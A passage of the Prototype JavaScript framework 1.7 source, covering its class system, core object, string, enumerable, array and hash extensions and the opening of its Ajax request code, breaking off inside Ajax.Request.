/*  Prototype JavaScript framework, version 1.7
 *  (c) 2005-2010 Sam Stephenson
 *
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://www.prototypejs.org/
 *
 *--------------------------------------------------------------------------*/

var Prototype = {

  Version: '1.7',

  Browser: (function(){
    var ua = navigator.userAgent;
    var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
    return {
      IE:             !!window.attachEvent && !isOpera,
      Opera:          isOpera,
      WebKit:         ua.indexOf('AppleWebKit/') > -1,
      Gecko:          ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
      MobileSafari:   /Apple.*Mobile/.test(ua)
    }
  })(),

  BrowserFeatures: {
    XPath: !!document.evaluate,

    SelectorsAPI: !!document.querySelector,

    ElementExtensions: (function() {
      var constructor = window.Element || window.HTMLElement;
      return !!(constructor && constructor.prototype);
    })(),
    SpecificElementExtensions: (function() {
      if (typeof window.HTMLDivElement !== 'undefined')
        return true;

      var div = document.createElement('div'),
          form = document.createElement('form'),
          isSupported = false;

      if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) {
        isSupported = true;
      }

      div = form = null;

      return isSupported;
    })()
  },

  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,

  emptyFunction: function() { },

  K: function(x) { return x }
};

if (Prototype.Browser.MobileSafari)
  Prototype.BrowserFeatures.SpecificElementExtensions = false;


var Abstract = { };


var Try = {
  these: function() {
    var returnValue;

    for (var i = 0, length = arguments.length; i < length; i++) {
      var lambda = arguments[i];
      try {
        returnValue = lambda();
        break;
      } catch (e) { }
    }

    return returnValue;
  }
};

/* Based on Alex Arnell's inheritance implementation. */

var Class = (function() {

  var IS_DONTENUM_BUGGY = (function(){
    for (var p in { toString: 1 }) {
      if (p === 'toString') return false;
    }
    return true;
  })();

  function subclass() {};
  function create() {
    var parent = null, properties = $A(arguments);
    if (Object.isFunction(properties[0]))
      parent = properties.shift();

    function klass() {
      this.initialize.apply(this, arguments);
    }

    Object.extend(klass, Class.Methods);
    klass.superclass = parent;
    klass.subclasses = [];

    if (parent) {
      subclass.prototype = parent.prototype;
      klass.prototype = new subclass;
      parent.subclasses.push(klass);
    }

    for (var i = 0, length = properties.length; i < length; i++)
      klass.addMethods(properties[i]);

    if (!klass.prototype.initialize)
      klass.prototype.initialize = Prototype.emptyFunction;

    klass.prototype.constructor = klass;
    return klass;
  }

  function addMethods(source) {
    var ancestor   = this.superclass && this.superclass.prototype,
        properties = Object.keys(source);

    if (IS_DONTENUM_BUGGY) {
      if (source.toString != Object.prototype.toString)
        properties.push("toString");
      if (source.valueOf != Object.prototype.valueOf)
        properties.push("valueOf");
    }

    for (var i = 0, length = properties.length; i < length; i++) {
      var property = properties[i], value = source[property];
      if (ancestor && Object.isFunction(value) &&
          value.argumentNames()[0] == "$super") {
        var method = value;
        value = (function(m) {
          return function() { return ancestor[m].apply(this, arguments); };
        })(property).wrap(method);

        value.valueOf = method.valueOf.bind(method);
        value.toString = method.toString.bind(method);
      }
      this.prototype[property] = value;
    }

    return this;
  }

  return {
    create: create,
    Methods: {
      addMethods: addMethods
    }
  };
})();
(function() {

  var _toString = Object.prototype.toString,
      NULL_TYPE = 'Null',
      UNDEFINED_TYPE = 'Undefined',
      BOOLEAN_TYPE = 'Boolean',
      NUMBER_TYPE = 'Number',
      STRING_TYPE = 'String',
      OBJECT_TYPE = 'Object',
      FUNCTION_CLASS = '[object Function]',
      BOOLEAN_CLASS = '[object Boolean]',
      NUMBER_CLASS = '[object Number]',
      STRING_CLASS = '[object String]',
      ARRAY_CLASS = '[object Array]',
      DATE_CLASS = '[object Date]',
      NATIVE_JSON_STRINGIFY_SUPPORT = window.JSON &&
        typeof JSON.stringify === 'function' &&
        JSON.stringify(0) === '0' &&
        typeof JSON.stringify(Prototype.K) === 'undefined';

  function Type(o) {
    switch(o) {
      case null: return NULL_TYPE;
      case (void 0): return UNDEFINED_TYPE;
    }
    var type = typeof o;
    switch(type) {
      case 'boolean': return BOOLEAN_TYPE;
      case 'number':  return NUMBER_TYPE;
      case 'string':  return STRING_TYPE;
    }
    return OBJECT_TYPE;
  }

  function extend(destination, source) {
    for (var property in source)
      destination[property] = source[property];
    return destination;
  }

  function inspect(object) {
    try {
      if (isUndefined(object)) return 'undefined';
      if (object === null) return 'null';
      return object.inspect ? object.inspect() : String(object);
    } catch (e) {
      if (e instanceof RangeError) return '...';
      throw e;
    }
  }

  function toJSON(value) {
    return Str('', { '': value }, []);
  }

  function Str(key, holder, stack) {
    var value = holder[key],
        type = typeof value;

    if (Type(value) === OBJECT_TYPE && typeof value.toJSON === 'function') {
      value = value.toJSON(key);
    }

    var _class = _toString.call(value);

    switch (_class) {
      case NUMBER_CLASS:
      case BOOLEAN_CLASS:
      case STRING_CLASS:
        value = value.valueOf();
    }

    switch (value) {
      case null: return 'null';
      case true: return 'true';
      case false: return 'false';
    }

    type = typeof value;
    switch (type) {
      case 'string':
        return value.inspect(true);
      case 'number':
        return isFinite(value) ? String(value) : 'null';
      case 'object':

        for (var i = 0, length = stack.length; i < length; i++) {
          if (stack[i] === value) { throw new TypeError(); }
        }
        stack.push(value);

        var partial = [];
        if (_class === ARRAY_CLASS) {
          for (var i = 0, length = value.length; i < length; i++) {
            var str = Str(i, value, stack);
            partial.push(typeof str === 'undefined' ? 'null' : str);
          }
          partial = '[' + partial.join(',') + ']';
        } else {
          var keys = Object.keys(value);
          for (var i = 0, length = keys.length; i < length; i++) {
            var key = keys[i], str = Str(key, value, stack);
            if (typeof str !== "undefined") {
               partial.push(key.inspect(true)+ ':' + str);
             }
          }
          partial = '{' + partial.join(',') + '}';
        }
        stack.pop();
        return partial;
    }
  }

  function stringify(object) {
    return JSON.stringify(object);
  }

  function toQueryString(object) {
    return $H(object).toQueryString();
  }

  function toHTML(object) {
    return object && object.toHTML ? object.toHTML() : String.interpret(object);
  }

  function keys(object) {
    if (Type(object) !== OBJECT_TYPE) { throw new TypeError(); }
    var results = [];
    for (var property in object) {
      if (object.hasOwnProperty(property)) {
        results.push(property);
      }
    }
    return results;
  }

  function values(object) {
    var results = [];
    for (var property in object)
      results.push(object[property]);
    return results;
  }

  function clone(object) {
    return extend({ }, object);
  }

  function isElement(object) {
    return !!(object && object.nodeType == 1);
  }

  function isArray(object) {
    return _toString.call(object) === ARRAY_CLASS;
  }

  var hasNativeIsArray = (typeof Array.isArray == 'function')
    && Array.isArray([]) && !Array.isArray({});

  if (hasNativeIsArray) {
    isArray = Array.isArray;
  }

  function isHash(object) {
    return object instanceof Hash;
  }

  function isFunction(object) {
    return _toString.call(object) === FUNCTION_CLASS;
  }

  function isString(object) {
    return _toString.call(object) === STRING_CLASS;
  }

  function isNumber(object) {
    return _toString.call(object) === NUMBER_CLASS;
  }

  function isDate(object) {
    return _toString.call(object) === DATE_CLASS;
  }

  function isUndefined(object) {
    return typeof object === "undefined";
  }

  extend(Object, {
    extend:        extend,
    inspect:       inspect,
    toJSON:        NATIVE_JSON_STRINGIFY_SUPPORT ? stringify : toJSON,
    toQueryString: toQueryString,
    toHTML:        toHTML,
    keys:          Object.keys || keys,
    values:        values,
    clone:         clone,
    isElement:     isElement,
    isArray:       isArray,
    isHash:        isHash,
    isFunction:    isFunction,
    isString:      isString,
    isNumber:      isNumber,
    isDate:        isDate,
    isUndefined:   isUndefined
  });
})();
Object.extend(Function.prototype, (function() {
  var slice = Array.prototype.slice;

  function update(array, args) {
    var arrayLength = array.length, length = args.length;
    while (length--) array[arrayLength + length] = args[length];
    return array;
  }

  function merge(array, args) {
    array = slice.call(array, 0);
    return update(array, args);
  }

  function argumentNames() {
    var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1]
      .replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '')
      .replace(/\s+/g, '').split(',');
    return names.length == 1 && !names[0] ? [] : names;
  }

  function bind(context) {
    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
    var __method = this, args = slice.call(arguments, 1);
    return function() {
      var a = merge(args, arguments);
      return __method.apply(context, a);
    }
  }

  function bindAsEventListener(context) {
    var __method = this, args = slice.call(arguments, 1);
    return function(event) {
      var a = update([event || window.event], args);
      return __method.apply(context, a);
    }
  }

  function curry() {
    if (!arguments.length) return this;
    var __method = this, args = slice.call(arguments, 0);
    return function() {
      var a = merge(args, arguments);
      return __method.apply(this, a);
    }
  }

  function delay(timeout) {
    var __method = this, args = slice.call(arguments, 1);
    timeout = timeout * 1000;
    return window.setTimeout(function() {
      return __method.apply(__method, args);
    }, timeout);
  }

  function defer() {
    var args = update([0.01], arguments);
    return this.delay.apply(this, args);
  }

  function wrap(wrapper) {
    var __method = this;
    return function() {
      var a = update([__method.bind(this)], arguments);
      return wrapper.apply(this, a);
    }
  }

  function methodize() {
    if (this._methodized) return this._methodized;
    var __method = this;
    return this._methodized = function() {
      var a = update([this], arguments);
      return __method.apply(null, a);
    };
  }

  return {
    argumentNames:       argumentNames,
    bind:                bind,
    bindAsEventListener: bindAsEventListener,
    curry:               curry,
    delay:               delay,
    defer:               defer,
    wrap:                wrap,
    methodize:           methodize
  }
})());



(function(proto) {


  function toISOString() {
    return this.getUTCFullYear() + '-' +
      (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
      this.getUTCDate().toPaddedString(2) + 'T' +
      this.getUTCHours().toPaddedString(2) + ':' +
      this.getUTCMinutes().toPaddedString(2) + ':' +
      this.getUTCSeconds().toPaddedString(2) + 'Z';
  }


  function toJSON() {
    return this.toISOString();
  }

  if (!proto.toISOString) proto.toISOString = toISOString;
  if (!proto.toJSON) proto.toJSON = toJSON;

})(Date.prototype);


RegExp.prototype.match = RegExp.prototype.test;

RegExp.escape = function(str) {
  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
};
var PeriodicalExecuter = Class.create({
  initialize: function(callback, frequency) {
    this.callback = callback;
    this.frequency = frequency;
    this.currentlyExecuting = false;

    this.registerCallback();
  },

  registerCallback: function() {
    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
  },

  execute: function() {
    this.callback(this);
  },

  stop: function() {
    if (!this.timer) return;
    clearInterval(this.timer);
    this.timer = null;
  },

  onTimerEvent: function() {
    if (!this.currentlyExecuting) {
      try {
        this.currentlyExecuting = true;
        this.execute();
        this.currentlyExecuting = false;
      } catch(e) {
        this.currentlyExecuting = false;
        throw e;
      }
    }
  }
});
Object.extend(String, {
  interpret: function(value) {
    return value == null ? '' : String(value);
  },
  specialChar: {
    '\b': '\\b',
    '\t': '\\t',
    '\n': '\\n',
    '\f': '\\f',
    '\r': '\\r',
    '\\': '\\\\'
  }
});

Object.extend(String.prototype, (function() {
  var NATIVE_JSON_PARSE_SUPPORT = window.JSON &&
    typeof JSON.parse === 'function' &&
    JSON.parse('{"test": true}').test;

  function prepareReplacement(replacement) {
    if (Object.isFunction(replacement)) return replacement;
    var template = new Template(replacement);
    return function(match) { return template.evaluate(match) };
  }

  function gsub(pattern, replacement) {
    var result = '', source = this, match;
    replacement = prepareReplacement(replacement);

    if (Object.isString(pattern))
      pattern = RegExp.escape(pattern);

    if (!(pattern.length || pattern.source)) {
      replacement = replacement('');
      return replacement + source.split('').join(replacement) + replacement;
    }

    while (source.length > 0) {
      if (match = source.match(pattern)) {
        result += source.slice(0, match.index);
        result += String.interpret(replacement(match));
        source  = source.slice(match.index + match[0].length);
      } else {
        result += source, source = '';
      }
    }
    return result;
  }

  function sub(pattern, replacement, count) {
    replacement = prepareReplacement(replacement);
    count = Object.isUndefined(count) ? 1 : count;

    return this.gsub(pattern, function(match) {
      if (--count < 0) return match[0];
      return replacement(match);
    });
  }

  function scan(pattern, iterator) {
    this.gsub(pattern, iterator);
    return String(this);
  }

  function truncate(length, truncation) {
    length = length || 30;
    truncation = Object.isUndefined(truncation) ? '...' : truncation;
    return this.length > length ?
      this.slice(0, length - truncation.length) + truncation : String(this);
  }

  function strip() {
    return this.replace(/^\s+/, '').replace(/\s+$/, '');
  }

  function stripTags() {
    return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, '');
  }

  function stripScripts() {
    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
  }

  function extractScripts() {
    var matchAll = new RegExp(Prototype.ScriptFragment, 'img'),
        matchOne = new RegExp(Prototype.ScriptFragment, 'im');
    return (this.match(matchAll) || []).map(function(scriptTag) {
      return (scriptTag.match(matchOne) || ['', ''])[1];
    });
  }

  function evalScripts() {
    return this.extractScripts().map(function(script) { return eval(script) });
  }

  function escapeHTML() {
    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
  }

  function unescapeHTML() {
    return this.stripTags().replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&');
  }


  function toQueryParams(separator) {
    var match = this.strip().match(/([^?#]*)(#.*)?$/);
    if (!match) return { };

    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
      if ((pair = pair.split('='))[0]) {
        var key = decodeURIComponent(pair.shift()),
            value = pair.length > 1 ? pair.join('=') : pair[0];

        if (value != undefined) value = decodeURIComponent(value);

        if (key in hash) {
          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
          hash[key].push(value);
        }
        else hash[key] = value;
      }
      return hash;
    });
  }

  function toArray() {
    return this.split('');
  }

  function succ() {
    return this.slice(0, this.length - 1) +
      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
  }

  function times(count) {
    return count < 1 ? '' : new Array(count + 1).join(this);
  }

  function camelize() {
    return this.replace(/-+(.)?/g, function(match, chr) {
      return chr ? chr.toUpperCase() : '';
    });
  }

  function capitalize() {
    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
  }

  function underscore() {
    return this.replace(/::/g, '/')
               .replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2')
               .replace(/([a-z\d])([A-Z])/g, '$1_$2')
               .replace(/-/g, '_')
               .toLowerCase();
  }

  function dasherize() {
    return this.replace(/_/g, '-');
  }

  function inspect(useDoubleQuotes) {
    var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
      if (character in String.specialChar) {
        return String.specialChar[character];
      }
      return '\\u00' + character.charCodeAt().toPaddedString(2, 16);
    });
    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
  }

  function unfilterJSON(filter) {
    return this.replace(filter || Prototype.JSONFilter, '$1');
  }

  function isJSON() {
    var str = this;
    if (str.blank()) return false;
    str = str.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@');
    str = str.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']');
    str = str.replace(/(?:^|:|,)(?:\s*\[)+/g, '');
    return (/^[\],:{}\s]*$/).test(str);
  }

  function evalJSON(sanitize) {
    var json = this.unfilterJSON(),
        cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
    if (cx.test(json)) {
      json = json.replace(cx, function (a) {
        return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
      });
    }
    try {
      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
    } catch (e) { }
    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
  }

  function parseJSON() {
    var json = this.unfilterJSON();
    return JSON.parse(json);
  }

  function include(pattern) {
    return this.indexOf(pattern) > -1;
  }

  function startsWith(pattern) {
    return this.lastIndexOf(pattern, 0) === 0;
  }

  function endsWith(pattern) {
    var d = this.length - pattern.length;
    return d >= 0 && this.indexOf(pattern, d) === d;
  }

  function empty() {
    return this == '';
  }

  function blank() {
    return /^\s*$/.test(this);
  }

  function interpolate(object, pattern) {
    return new Template(this, pattern).evaluate(object);
  }

  return {
    gsub:           gsub,
    sub:            sub,
    scan:           scan,
    truncate:       truncate,
    strip:          String.prototype.trim || strip,
    stripTags:      stripTags,
    stripScripts:   stripScripts,
    extractScripts: extractScripts,
    evalScripts:    evalScripts,
    escapeHTML:     escapeHTML,
    unescapeHTML:   unescapeHTML,
    toQueryParams:  toQueryParams,
    parseQuery:     toQueryParams,
    toArray:        toArray,
    succ:           succ,
    times:          times,
    camelize:       camelize,
    capitalize:     capitalize,
    underscore:     underscore,
    dasherize:      dasherize,
    inspect:        inspect,
    unfilterJSON:   unfilterJSON,
    isJSON:         isJSON,
    evalJSON:       NATIVE_JSON_PARSE_SUPPORT ? parseJSON : evalJSON,
    include:        include,
    startsWith:     startsWith,
    endsWith:       endsWith,
    empty:          empty,
    blank:          blank,
    interpolate:    interpolate
  };
})());

var Template = Class.create({
  initialize: function(template, pattern) {
    this.template = template.toString();
    this.pattern = pattern || Template.Pattern;
  },

  evaluate: function(object) {
    if (object && Object.isFunction(object.toTemplateReplacements))
      object = object.toTemplateReplacements();

    return this.template.gsub(this.pattern, function(match) {
      if (object == null) return (match[1] + '');

      var before = match[1] || '';
      if (before == '\\') return match[2];

      var ctx = object, expr = match[3],
          pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;

      match = pattern.exec(expr);
      if (match == null) return before;

      while (match != null) {
        var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1];
        ctx = ctx[comp];
        if (null == ctx || '' == match[3]) break;
        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
        match = pattern.exec(expr);
      }

      return before + String.interpret(ctx);
    });
  }
});
Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;

var $break = { };

var Enumerable = (function() {
  function each(iterator, context) {
    var index = 0;
    try {
      this._each(function(value) {
        iterator.call(context, value, index++);
      });
    } catch (e) {
      if (e != $break) throw e;
    }
    return this;
  }

  function eachSlice(number, iterator, context) {
    var index = -number, slices = [], array = this.toArray();
    if (number < 1) return array;
    while ((index += number) < array.length)
      slices.push(array.slice(index, index+number));
    return slices.collect(iterator, context);
  }

  function all(iterator, context) {
    iterator = iterator || Prototype.K;
    var result = true;
    this.each(function(value, index) {
      result = result && !!iterator.call(context, value, index);
      if (!result) throw $break;
    });
    return result;
  }

  function any(iterator, context) {
    iterator = iterator || Prototype.K;
    var result = false;
    this.each(function(value, index) {
      if (result = !!iterator.call(context, value, index))
        throw $break;
    });
    return result;
  }

  function collect(iterator, context) {
    iterator = iterator || Prototype.K;
    var results = [];
    this.each(function(value, index) {
      results.push(iterator.call(context, value, index));
    });
    return results;
  }

  function detect(iterator, context) {
    var result;
    this.each(function(value, index) {
      if (iterator.call(context, value, index)) {
        result = value;
        throw $break;
      }
    });
    return result;
  }

  function findAll(iterator, context) {
    var results = [];
    this.each(function(value, index) {
      if (iterator.call(context, value, index))
        results.push(value);
    });
    return results;
  }

  function grep(filter, iterator, context) {
    iterator = iterator || Prototype.K;
    var results = [];

    if (Object.isString(filter))
      filter = new RegExp(RegExp.escape(filter));

    this.each(function(value, index) {
      if (filter.match(value))
        results.push(iterator.call(context, value, index));
    });
    return results;
  }

  function include(object) {
    if (Object.isFunction(this.indexOf))
      if (this.indexOf(object) != -1) return true;

    var found = false;
    this.each(function(value) {
      if (value == object) {
        found = true;
        throw $break;
      }
    });
    return found;
  }

  function inGroupsOf(number, fillWith) {
    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
    return this.eachSlice(number, function(slice) {
      while(slice.length < number) slice.push(fillWith);
      return slice;
    });
  }

  function inject(memo, iterator, context) {
    this.each(function(value, index) {
      memo = iterator.call(context, memo, value, index);
    });
    return memo;
  }

  function invoke(method) {
    var args = $A(arguments).slice(1);
    return this.map(function(value) {
      return value[method].apply(value, args);
    });
  }

  function max(iterator, context) {
    iterator = iterator || Prototype.K;
    var result;
    this.each(function(value, index) {
      value = iterator.call(context, value, index);
      if (result == null || value >= result)
        result = value;
    });
    return result;
  }

  function min(iterator, context) {
    iterator = iterator || Prototype.K;
    var result;
    this.each(function(value, index) {
      value = iterator.call(context, value, index);
      if (result == null || value < result)
        result = value;
    });
    return result;
  }

  function partition(iterator, context) {
    iterator = iterator || Prototype.K;
    var trues = [], falses = [];
    this.each(function(value, index) {
      (iterator.call(context, value, index) ?
        trues : falses).push(value);
    });
    return [trues, falses];
  }

  function pluck(property) {
    var results = [];
    this.each(function(value) {
      results.push(value[property]);
    });
    return results;
  }

  function reject(iterator, context) {
    var results = [];
    this.each(function(value, index) {
      if (!iterator.call(context, value, index))
        results.push(value);
    });
    return results;
  }

  function sortBy(iterator, context) {
    return this.map(function(value, index) {
      return {
        value: value,
        criteria: iterator.call(context, value, index)
      };
    }).sort(function(left, right) {
      var a = left.criteria, b = right.criteria;
      return a < b ? -1 : a > b ? 1 : 0;
    }).pluck('value');
  }

  function toArray() {
    return this.map();
  }

  function zip() {
    var iterator = Prototype.K, args = $A(arguments);
    if (Object.isFunction(args.last()))
      iterator = args.pop();

    var collections = [this].concat(args).map($A);
    return this.map(function(value, index) {
      return iterator(collections.pluck(index));
    });
  }

  function size() {
    return this.toArray().length;
  }

  function inspect() {
    return '#<Enumerable:' + this.toArray().inspect() + '>';
  }









  return {
    each:       each,
    eachSlice:  eachSlice,
    all:        all,
    every:      all,
    any:        any,
    some:       any,
    collect:    collect,
    map:        collect,
    detect:     detect,
    findAll:    findAll,
    select:     findAll,
    filter:     findAll,
    grep:       grep,
    include:    include,
    member:     include,
    inGroupsOf: inGroupsOf,
    inject:     inject,
    invoke:     invoke,
    max:        max,
    min:        min,
    partition:  partition,
    pluck:      pluck,
    reject:     reject,
    sortBy:     sortBy,
    toArray:    toArray,
    entries:    toArray,
    zip:        zip,
    size:       size,
    inspect:    inspect,
    find:       detect
  };
})();

function $A(iterable) {
  if (!iterable) return [];
  if ('toArray' in Object(iterable)) return iterable.toArray();
  var length = iterable.length || 0, results = new Array(length);
  while (length--) results[length] = iterable[length];
  return results;
}


function $w(string) {
  if (!Object.isString(string)) return [];
  string = string.strip();
  return string ? string.split(/\s+/) : [];
}

Array.from = $A;


(function() {
  var arrayProto = Array.prototype,
      slice = arrayProto.slice,
      _each = arrayProto.forEach; // use native browser JS 1.6 implementation if available

  function each(iterator, context) {
    for (var i = 0, length = this.length >>> 0; i < length; i++) {
      if (i in this) iterator.call(context, this[i], i, this);
    }
  }
  if (!_each) _each = each;

  function clear() {
    this.length = 0;
    return this;
  }

  function first() {
    return this[0];
  }

  function last() {
    return this[this.length - 1];
  }

  function compact() {
    return this.select(function(value) {
      return value != null;
    });
  }

  function flatten() {
    return this.inject([], function(array, value) {
      if (Object.isArray(value))
        return array.concat(value.flatten());
      array.push(value);
      return array;
    });
  }

  function without() {
    var values = slice.call(arguments, 0);
    return this.select(function(value) {
      return !values.include(value);
    });
  }

  function reverse(inline) {
    return (inline === false ? this.toArray() : this)._reverse();
  }

  function uniq(sorted) {
    return this.inject([], function(array, value, index) {
      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
        array.push(value);
      return array;
    });
  }

  function intersect(array) {
    return this.uniq().findAll(function(item) {
      return array.detect(function(value) { return item === value });
    });
  }


  function clone() {
    return slice.call(this, 0);
  }

  function size() {
    return this.length;
  }

  function inspect() {
    return '[' + this.map(Object.inspect).join(', ') + ']';
  }

  function indexOf(item, i) {
    i || (i = 0);
    var length = this.length;
    if (i < 0) i = length + i;
    for (; i < length; i++)
      if (this[i] === item) return i;
    return -1;
  }

  function lastIndexOf(item, i) {
    i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
    var n = this.slice(0, i).reverse().indexOf(item);
    return (n < 0) ? n : i - n - 1;
  }

  function concat() {
    var array = slice.call(this, 0), item;
    for (var i = 0, length = arguments.length; i < length; i++) {
      item = arguments[i];
      if (Object.isArray(item) && !('callee' in item)) {
        for (var j = 0, arrayLength = item.length; j < arrayLength; j++)
          array.push(item[j]);
      } else {
        array.push(item);
      }
    }
    return array;
  }

  Object.extend(arrayProto, Enumerable);

  if (!arrayProto._reverse)
    arrayProto._reverse = arrayProto.reverse;

  Object.extend(arrayProto, {
    _each:     _each,
    clear:     clear,
    first:     first,
    last:      last,
    compact:   compact,
    flatten:   flatten,
    without:   without,
    reverse:   reverse,
    uniq:      uniq,
    intersect: intersect,
    clone:     clone,
    toArray:   clone,
    size:      size,
    inspect:   inspect
  });

  var CONCAT_ARGUMENTS_BUGGY = (function() {
    return [].concat(arguments)[0][0] !== 1;
  })(1,2)

  if (CONCAT_ARGUMENTS_BUGGY) arrayProto.concat = concat;

  if (!arrayProto.indexOf) arrayProto.indexOf = indexOf;
  if (!arrayProto.lastIndexOf) arrayProto.lastIndexOf = lastIndexOf;
})();
function $H(object) {
  return new Hash(object);
};

var Hash = Class.create(Enumerable, (function() {
  function initialize(object) {
    this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
  }


  function _each(iterator) {
    for (var key in this._object) {
      var value = this._object[key], pair = [key, value];
      pair.key = key;
      pair.value = value;
      iterator(pair);
    }
  }

  function set(key, value) {
    return this._object[key] = value;
  }

  function get(key) {
    if (this._object[key] !== Object.prototype[key])
      return this._object[key];
  }

  function unset(key) {
    var value = this._object[key];
    delete this._object[key];
    return value;
  }

  function toObject() {
    return Object.clone(this._object);
  }



  function keys() {
    return this.pluck('key');
  }

  function values() {
    return this.pluck('value');
  }

  function index(value) {
    var match = this.detect(function(pair) {
      return pair.value === value;
    });
    return match && match.key;
  }

  function merge(object) {
    return this.clone().update(object);
  }

  function update(object) {
    return new Hash(object).inject(this, function(result, pair) {
      result.set(pair.key, pair.value);
      return result;
    });
  }

  function toQueryPair(key, value) {
    if (Object.isUndefined(value)) return key;
    return key + '=' + encodeURIComponent(String.interpret(value));
  }

  function toQueryString() {
    return this.inject([], function(results, pair) {
      var key = encodeURIComponent(pair.key), values = pair.value;

      if (values && typeof values == 'object') {
        if (Object.isArray(values)) {
          var queryValues = [];
          for (var i = 0, len = values.length, value; i < len; i++) {
            value = values[i];
            queryValues.push(toQueryPair(key, value));
          }
          return results.concat(queryValues);
        }
      } else results.push(toQueryPair(key, values));
      return results;
    }).join('&');
  }

  function inspect() {
    return '#<Hash:{' + this.map(function(pair) {
      return pair.map(Object.inspect).join(': ');
    }).join(', ') + '}>';
  }

  function clone() {
    return new Hash(this);
  }

  return {
    initialize:             initialize,
    _each:                  _each,
    set:                    set,
    get:                    get,
    unset:                  unset,
    toObject:               toObject,
    toTemplateReplacements: toObject,
    keys:                   keys,
    values:                 values,
    index:                  index,
    merge:                  merge,
    update:                 update,
    toQueryString:          toQueryString,
    inspect:                inspect,
    toJSON:                 toObject,
    clone:                  clone
  };
})());

Hash.from = $H;
Object.extend(Number.prototype, (function() {
  function toColorPart() {
    return this.toPaddedString(2, 16);
  }

  function succ() {
    return this + 1;
  }

  function times(iterator, context) {
    $R(0, this, true).each(iterator, context);
    return this;
  }

  function toPaddedString(length, radix) {
    var string = this.toString(radix || 10);
    return '0'.times(length - string.length) + string;
  }

  function abs() {
    return Math.abs(this);
  }

  function round() {
    return Math.round(this);
  }

  function ceil() {
    return Math.ceil(this);
  }

  function floor() {
    return Math.floor(this);
  }

  return {
    toColorPart:    toColorPart,
    succ:           succ,
    times:          times,
    toPaddedString: toPaddedString,
    abs:            abs,
    round:          round,
    ceil:           ceil,
    floor:          floor
  };
})());

function $R(start, end, exclusive) {
  return new ObjectRange(start, end, exclusive);
}

var ObjectRange = Class.create(Enumerable, (function() {
  function initialize(start, end, exclusive) {
    this.start = start;
    this.end = end;
    this.exclusive = exclusive;
  }

  function _each(iterator) {
    var value = this.start;
    while (this.include(value)) {
      iterator(value);
      value = value.succ();
    }
  }

  function include(value) {
    if (value < this.start)
      return false;
    if (this.exclusive)
      return value < this.end;
    return value <= this.end;
  }

  return {
    initialize: initialize,
    _each:      _each,
    include:    include
  };
})());



var Ajax = {
  getTransport: function() {
    return Try.these(
      function() {return new XMLHttpRequest()},
      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
    ) || false;
  },

  activeRequestCount: 0
};

Ajax.Responders = {
  responders: [],

  _each: function(iterator) {
    this.responders._each(iterator);
  },

  register: function(responder) {
    if (!this.include(responder))
      this.responders.push(responder);
  },

  unregister: function(responder) {
    this.responders = this.responders.without(responder);
  },

  dispatch: function(callback, request, transport, json) {
    this.each(function(responder) {
      if (Object.isFunction(responder[callback])) {
        try {
          responder[callback].apply(responder, [request, transport, json]);
        } catch (e) { }
      }
    });
  }
};

Object.extend(Ajax.Responders, Enumerable);

Ajax.Responders.register({
  onCreate:   function() { Ajax.activeRequestCount++ },
  onComplete: function() { Ajax.activeRequestCount-- }
});
Ajax.Base = Class.create({
  initialize: function(options) {
    this.options = {
      method:       'post',
      asynchronous: true,
      contentType:  'application/x-www-form-urlencoded',
      encoding:     'UTF-8',
      parameters:   '',
      evalJSON:     true,
      evalJS:       true
    };
    Object.extend(this.options, options || { });

    this.options.method = this.options.method.toLowerCase();

    if (Object.isHash(this.options.parameters))
      this.options.parameters = this.options.parameters.toObject();
  }
});
Ajax.Request = Class.create(Ajax.Base, {
  _complete: false,

  initialize: function($super, url, options) {
    $super(options);
    this.transport = Ajax.getTransport();
    this.request(url);
  },

  request: function(url) {
    this.url = url;
    this.method = this.options.method;
    var params = Object.isString(this.options.parameters) ?
          this.options.parameters :
          Object.toQueryString(this.options.parameters);

    if (!['get', 'post'].include(this.method)) {
      params += (params ? '&' : '') + "_method=" + this.method;
      this.method = 'post';
    }

    if (params && this.method === 'get') {
